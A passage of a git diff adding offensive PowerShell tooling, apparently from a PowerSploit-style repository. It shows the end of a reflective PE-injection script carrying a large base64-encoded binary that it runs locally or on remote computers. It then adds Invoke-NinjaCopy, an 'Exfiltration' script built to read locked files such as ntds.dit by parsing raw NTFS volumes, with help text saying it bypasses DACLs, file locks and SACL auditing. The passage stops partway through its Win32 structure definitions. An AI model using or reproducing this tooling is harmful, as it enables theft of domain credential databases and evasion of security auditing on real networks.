PCw8PDxAPEQ8TDxkPHQ8eDyIPIw8kDyUPJw8tDzEPMg82DzcPOA85DzsPAQ9FD0YPSg9LD0wPTg9UD1gPWQ9aD1wPYg9mD2cPaw9sD20Pbg9wD3YPeg97D38PQA+ED4UPhg+ID44Pkg+TD5cPmA+aD6APpA+lD6kPqg+rD60Psw+3D7gPvA+9D74PgA/GD8oPyw/PD9AP0Q/TD9kP3Q/eD+IP4w/kD+UP5g/oD+4P8g/zD/cP+A/5D/oP/A/ALAEAIgCAAAIMBgwHDAsMDAwNDA4MEAwWDBoMGwwcDB4MJAwoDCkMLQwuDDAMNgw6DDsMPwwADEEMQwxJDE0MTgxSDFMMVAxVDFYMVwxZDF8MYwxkDGgMaQxqDGwMcgx2DHcMewx8DH0Mfgx/DEEMhwyIDI4MjwyVDJYMnAygDKEMpQymDKgMrgyyDLMMtwy4DLkMugy8DIIMxgzHDMsMzAzNDM8M1QzZDNoM3AziDOMM6QztDO4M8gzzDPQM9gz8DMANAQ0DDQkNDQ0ODRINEw0UDRUNFg0XDRgNGQ0aDRsNHA0eDSQNKA0pDS0NLg0vDTANMQ0yDTMNNA01DTYNOA0+DT8NBQ1JDUoNTg1PDVANUQ1SDVQNWg1eDV8NYw1kDWYNbA1wDXENdQ12DXcNeQ1/DUMNhA2IDYkNiw2RDZUNlg2aDZsNnA2eDaQNqA2pDa0Nrg2vDbENtw27DbwNgA3BDcINww3FDcsNzw3QDdQN1Q3WDdcN2A3ZDdoN2w3cDd0N3g3gDeYN6g3rDe8N8A3xDfMN+Q39Df4Nwg4DDgQOBQ4GDgcOCA4JDgoOCw4NDhMOFA4aDh4OHw4jDiQOJQ4mDicOKQ4vDjMONA44DjkOOg47DjwOPg4EDkUOSw5PDlAOVA5VDlcOXQ5hDmIOZg5nDmgOaQ5rDnEOSw7ODtYO2A7bDuMO6A7qDuwO7g7vDvAO8g73DvkO+w79Dv4O/w7BDwYPCA8LDxMPFg8eDyEPKQ8sDzQPNw8ED0wPVA9cD2QPbA9vD3YPeQ98D0QPjA+UD5sPnA+kD6YPpw+tD64Psg+7D74PgA/MD84Pzw/VD9YP3Q/eD+AP4g/kD+UP5w/sD/QP/A/AMAEAIwBAAAQMDAwPDBYMHgwmDC4MNgw+DAYMSQxQDFMMWgxiDGoMcgx6DEIMigySDJkMmgyiDKoMsgy6DL0MhAzLDMwM0wzUDNwM5AzsDPQM/AzDDQQNBg0LDQ0NEg0UDRUNFw0ZDRsNIA0iDScNKQ0qDSsNLA0uDTANMg03DTkNOg08DT4NAA1FDUcNSA1KDUwNVA1ZDVwNXg1qDW8Ncg10DUANhQ2IDYoNlg2bDZ4NoA2sDbENtA22DYINxw3KDcwN2A3dDeAN4g3uDfMN9g34DcQOCQ4MDg4OGg4fDiIOJA40DjgOPQ4CDkUORw5XDlsOYA5lDmgOag52DnsOfg5ADowOkQ6UDpYOog6nDqoOrA64Dr0OgA7CDs4O0w7WDtgO5A7pDuwO7g76Dv8Owg8EDxAPFQ8YDxoPJg8rDy4PMA88DwEPRA9GD1IPVw9aD1wPaA9tD3APcg9+D0MPhg+ID5QPmQ+cD54Pqg+vD7IPtA+AD8UPyA/KD9YP2w/eD+AP7A/xD/QP9g/ANAEADgBAAAIMBwwKDAwMGAwdDCAMIgwuDDMMNgw4DAQMSQxMDE4MWgxfDGIMZAxwDHUMeAx6DEYMiwyODJAMnAyhDKQMpgyyDLcMugy8DIgMzQzQDNIM3gzjDOYM6Az0DPkM/Az+DMoNDw0SDRQNIA0lDSgNKg02DTsNPg0ADUwNUQ1UDVYNYg1nDWoNbA14DX0NQA2CDY4Nkw2WDZgNpA2pDawNrg26Db8Ngg3EDdAN1Q3YDdoN5g3rDe4N8A38DcEOBA4GDhIOFw4aDhwOKA4tDjAOMg4+DgMORg5IDlQOWQ5cDl4Oag5vDnIOdA5ADoUOiA6KDpYOmw6eDqAOrA6xDrQOtg6CDscOyg7MDtgO3Q7gDuIO7g7zDvYO+A7EDwkPDA8ODxoPHw8iDyQPMA81DzgPOg8AAAFADQBAAAAMCQwUDB8MKgwrDCwMLQwuDC8MMAwyDDsMAwxLDFQMYwxrDFIMkwyUDJUMlgyXDJgMmQyaDJsMngyfDKAMoQyiDKMMpAylDKYMqAyuDLAMjg1sDbYNtw29Db4Ngg3DDcQNxQ3GDccNyA3JDcoNyw3MDc0Nzg3PDdAN0Q3SDdMN1A3VDdYN1w3YDdkN2g3bDdwN3Q3eDd8N4A3hDeIN4w3kDeUN5g3nDegN6Q3qDesN7A3wDfEN8g3zDfQN9Q32DfcN+A35DfoN+w38Df0N/g3/DcAOAQ4CDgMOBA4FDgYOBw4IDgkOCg4LDgwODQ4ODg8OEA4RDhIOEw4UDhUOFg4XDhgOGQ4aDjIONg46Dj4OAg5LDk4OTw5QDlEOUg5TDlQOcg+7D/0P/w/AAAAEAUAQAEAAAQwDDAUMBwwJDAsMDQwPDBEMEwwVDBcMGQwbDB0MHwwhDCMMJQwnDCkMKwwtDC8MMQwzDAgMiQyKDIsMjAyNDI4MjwyQDJEMkgyTDJQMlQyWDJcMmAyZDJoMmwycDJ0MngyfDKAMoQyiDKMMpAylDKYMpwyoDKkMqgyrDKwMrQyuDK8MsAyxDLIMswy4DLkMugy7DLwMvQy+DL8MgAzBDM0Nlg2sDbQNvA2EDdoN7g39Dc0OGw4iDikOMQ44DgEOSQ5QDlgObQ59DmIOpA6lDqYOpw6oDqkOqg6rDqwOrQ6uDq8OsA6xDrIOsw60DrUOtg63DrgOuQ66DrsOvA69Dr4Ovw6ADsEOwg7DDsQOxQ7GDscOyA7JDsoOyw7YDt4O9A76DsIPFw8eDzIPBg9VD2QPcw9CD4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" + + if ($ComputerName -eq $null -or $ComputerName -imatch "^\s*$") + { + Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes64, $PEBytes32, "Void", 0, "", $ExeArgs) + } + else + { + Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes64, $PEBytes32, "Void", 0, "", $ExeArgs) -ComputerName $ComputerName + } +} + +Main +} \ No newline at end of file diff --git a/Exfiltration/Invoke-NinjaCopy.ps1 b/Exfiltration/Invoke-NinjaCopy.ps1 new file mode 100644 index 0000000..68e7d81 --- /dev/null +++ b/Exfiltration/Invoke-NinjaCopy.ps1 @@ -0,0 +1,2848 @@ +function Invoke-NinjaCopy +{ +<# +.SYNOPSIS + +This script can copy files off an NTFS volume by opening a read handle to the entire volume (such as c:) and parsing the NTFS structures. This requires you +are an administrator of the server. This allows you to bypass the following protections: + 1. Files which are opened by a process and cannot be opened by other processes, such as the NTDS.dit file or SYSTEM registry hives + 2. SACL flag set on a file to alert when the file is opened (I'm not using a Win32 API to open the file, so Windows has no clue) + 3. Bypass DACL's, such as a DACL which only allows SYSTEM to open a file + +If the LocalDestination param is specified, the file will be copied to the file path specified on the local server (the server the script is being run from). +If the RemoteDestination param is specified, the file will be copied to the file path specified on the remote server. + +The script works by opening a read handle to the volume (which if logged, may stand out, but I don't think most people log this and other processes do it too). +The script then uses NTFS parsing code written by cyb70289 and posted to CodePlex to parse the NTFS structures. Since the NTFS parsing code is written +in C++, I have compiled the code to a DLL and load it reflective in to PowerShell using the Invoke-ReflectivePEInjection.ps1 script (see below for a link +to the original script). + +Script: Invoke-NinjaCopy.ps1 +Author: Joe Bialek, Twitter: @JosephBialek +Contributors: This script has a byte array hardcoded, which contains a DLL wich parses NTFS. This NTFS parsing code was written by cyb70289 + See the following link: http://www.codeproject.com/Articles/81456/An-NTFS-Parser-Lib + The source code is also available with the distribution of this script. +License: GPLv3 or later +Required Dependencies: None +Optional Dependencies: None +Version: 1.0 +ReflectivePEInjection version: 1.0 + +.DESCRIPTION + +Copies a file from an NTFS partitioned volume by reading the raw volume and parsing the NTFS structures. This bypasses file DACL's, +read handle locks, and SACL's. You must be an administrator to run the script. This can be used to read SYSTEM files which are normally +locked, such as the NTDS.dit file or registry hives. + + +.PARAMETER Path + +The full path of the file to copy (example: c:\filedir\file.txt) + +.PARAMETER LocalDestination + +Optional, a file path to copy the file to on the local computer. If this isn't used, RemoteDestination must be specified. + +.PARAMETER RemoteDestination + +Optional, a file path to copy the file to on the remote computer. If this isn't used, LocalDestination must be specified. + +.PARAMETER BufferSize + +Optional, how many bytes to read at a time from the file. The default is 5MB. + +PowerShell will allocate a Byte[] equal to the size of this buffer, so setting this too high can cause PowerShell to use a LOT of RAM. It's +your job to figure out what "too high" is for your situation. + +.PARAMETER ComputerName + +Optional, an array of computernames to run the script on. + + +.EXAMPLE + +Read the file ntds.dit from a remote server and write it to c:\test\ntds.dit on the local server +$NtdsBytes = Invoke-NinjaCopy -Path "c:\windows\ntds\ntds.dit" -ComputerName "Server1" -LocalDestination "c:\test\ntds.dit" + +.EXAMPLE + +Read the file ntds.dit from a remote server and copy it to the temp directory on the remote server. +Invoke-NinjaCopy -Path "c:\windows\ntds\ntds.dit" -RemoteDestination "c:\windows\temp\ntds.dit" -ComputerName "Server1" + +.EXAMPLE + +Read the file ntds.dit from the local server and copy it to the temp directory on the local server. +Invoke-NinjaCopy -Path "c:\windows\ntds\ntds.dit" -LocalDestination "c:\windows\temp\ntds.dit" + + +.NOTES +This script combines two programs. The first is Invoke-ReflectivePEInjection, links can be found below to the original source. +This is a PowerShell script which can reflectively load EXE's/DLL's. + +The second program is NTFS parsing code written in C++ by cyb70289 and posted to CodeProject. I have compiled this +code as a DLL so it can be reflectively loaded by the PowerShell script. +The CodeProject code can be found here: http://www.codeproject.com/Articles/81456/An-NTFS-Parser-Lib + +.LINK + +Blog: http://clymb3r.wordpress.com/ +Github repo: https://github.com/clymb3r/PowerShell +NTFS Parsing Code: http://www.codeproject.com/Articles/81456/An-NTFS-Parser-Lib + +Blog on reflective loading: http://clymb3r.wordpress.com/2013/04/06/reflective-dll-injection-with-powershell/ + +#> + +[CmdletBinding()] +Param( + [Parameter(Position = 0, Mandatory = $true)] + [String] + $Path, + + [Parameter(Position = 1, ParameterSetName="RemoteDest")] + [String] + $RemoteDestination, + + [Parameter(Position = 1, ParameterSetName="LocalDest")] + [String] + $LocalDestination, + + [Parameter(Position = 2)] + [String[]] + $ComputerName, + + [Parameter(Position = 3)] + [UInt32] + $BufferSize = 5 * 1024 * 1024 +) + +Set-StrictMode -Version 2 + + +$RemoteScriptBlock = { + [CmdletBinding()] + Param( + [Parameter(Position = 0, Mandatory = $true)] + [String] + $PEBytes32, + + [Parameter(Position = 1, Mandatory = $true)] + [String] + $PEBytes64, + + [Parameter(Position = 2, Mandatory = $true)] + [String] + $Path, + + [Parameter(Position = 3)] + [String] + $RemoteDestination, + + [Parameter(Position = 4)] + [UInt32] + $BufferSize, + + [Parameter(Position = 5)] + [UInt64] + $FileOffset + ) + + ################################### + ########## Win32 Stuff ########## + ################################### + Function Get-Win32Types + { + $Win32Types = New-Object System.Object + + #Define all the structures/enums that will be used + # This article shows you how to do this with reflection: http://www.exploit-monday.com/2012/07/structs-and-enums-using-reflection.html + $Domain = [AppDomain]::CurrentDomain + $DynamicAssembly = New-Object System.Reflection.AssemblyName('DynamicAssembly') + $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynamicAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('DynamicModule', $false) + $ConstructorInfo = [System.Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0] + + + ############ ENUM ############ + #Enum MachineType + $TypeBuilder = $ModuleBuilder.DefineEnum('MachineType', 'Public', [UInt16]) + $TypeBuilder.DefineLiteral('Native', [UInt16] 0) | Out-Null + $TypeBuilder.DefineLiteral('I386', [UInt16] 0x014c) | Out-Null + $TypeBuilder.DefineLiteral('Itanium', [UInt16] 0x0200) | Out-Null + $TypeBuilder.DefineLiteral('x64', [UInt16] 0x8664) | Out-Null + $MachineType = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name MachineType -Value $MachineType + + #Enum MagicType + $TypeBuilder = $ModuleBuilder.DefineEnum('MagicType', 'Public', [UInt16]) + $TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR32_MAGIC', [UInt16] 0x10b) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR64_MAGIC', [UInt16] 0x20b) | Out-Null + $MagicType = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name MagicType -Value $MagicType + + #Enum SubSystemType + $TypeBuilder = $ModuleBuilder.DefineEnum('SubSystemType', 'Public', [UInt16]) + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_UNKNOWN', [UInt16] 0) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_NATIVE', [UInt16] 1) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_GUI', [UInt16] 2) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CUI', [UInt16] 3) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_POSIX_CUI', [UInt16] 7) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CE_GUI', [UInt16] 9) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_APPLICATION', [UInt16] 10) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_BOOT_SERVICE_DRIVER', [UInt16] 11) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_RUNTIME_DRIVER', [UInt16] 12) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_ROM', [UInt16] 13) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_XBOX', [UInt16] 14) | Out-Null + $SubSystemType = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name SubSystemType -Value $SubSystemType + + #Enum DllCharacteristicsType + $TypeBuilder = $ModuleBuilder.DefineEnum('DllCharacteristicsType', 'Public', [UInt16]) + $TypeBuilder.DefineLiteral('RES_0', [UInt16] 0x0001) | Out-Null + $TypeBuilder.DefineLiteral('RES_1', [UInt16] 0x0002) | Out-Null + $TypeBuilder.DefineLiteral('RES_2', [UInt16] 0x0004) | Out-Null + $TypeBuilder.DefineLiteral('RES_3', [UInt16] 0x0008) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE', [UInt16] 0x0040) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_FORCE_INTEGRITY', [UInt16] 0x0080) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_NX_COMPAT', [UInt16] 0x0100) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_ISOLATION', [UInt16] 0x0200) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_SEH', [UInt16] 0x0400) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_BIND', [UInt16] 0x0800) | Out-Null + $TypeBuilder.DefineLiteral('RES_4', [UInt16] 0x1000) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_WDM_DRIVER', [UInt16] 0x2000) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE', [UInt16] 0x8000) | Out-Null + $DllCharacteristicsType = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name DllCharacteristicsType -Value $DllCharacteristicsType + + ########### STRUCT ########### + #Struct IMAGE_DATA_DIRECTORY + $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DATA_DIRECTORY', $Attributes, [System.ValueType], 8) + ($TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public')).SetOffset(0) | Out-Null + ($TypeBuilder.DefineField('Size', [UInt32], 'Public')).SetOffset(4) | Out-Null + $IMAGE_DATA_DIRECTORY = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DATA_DIRECTORY -Value $IMAGE_DATA_DIRECTORY + + #Struct IMAGE_FILE_HEADER + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_FILE_HEADER', $Attributes, [System.ValueType], 20) + $TypeBuilder.DefineField('Machine', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfSections', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('PointerToSymbolTable', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfSymbols', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('SizeOfOptionalHeader', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('Characteristics', [UInt16], 'Public') | Out-Null + $IMAGE_FILE_HEADER = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_HEADER -Value $IMAGE_FILE_HEADER + + #Struct IMAGE_OPTIONAL_HEADER64 + $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER64', $Attributes, [System.ValueType], 240) + ($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null + ($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null + ($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null + ($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null + ($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null + ($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null + ($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 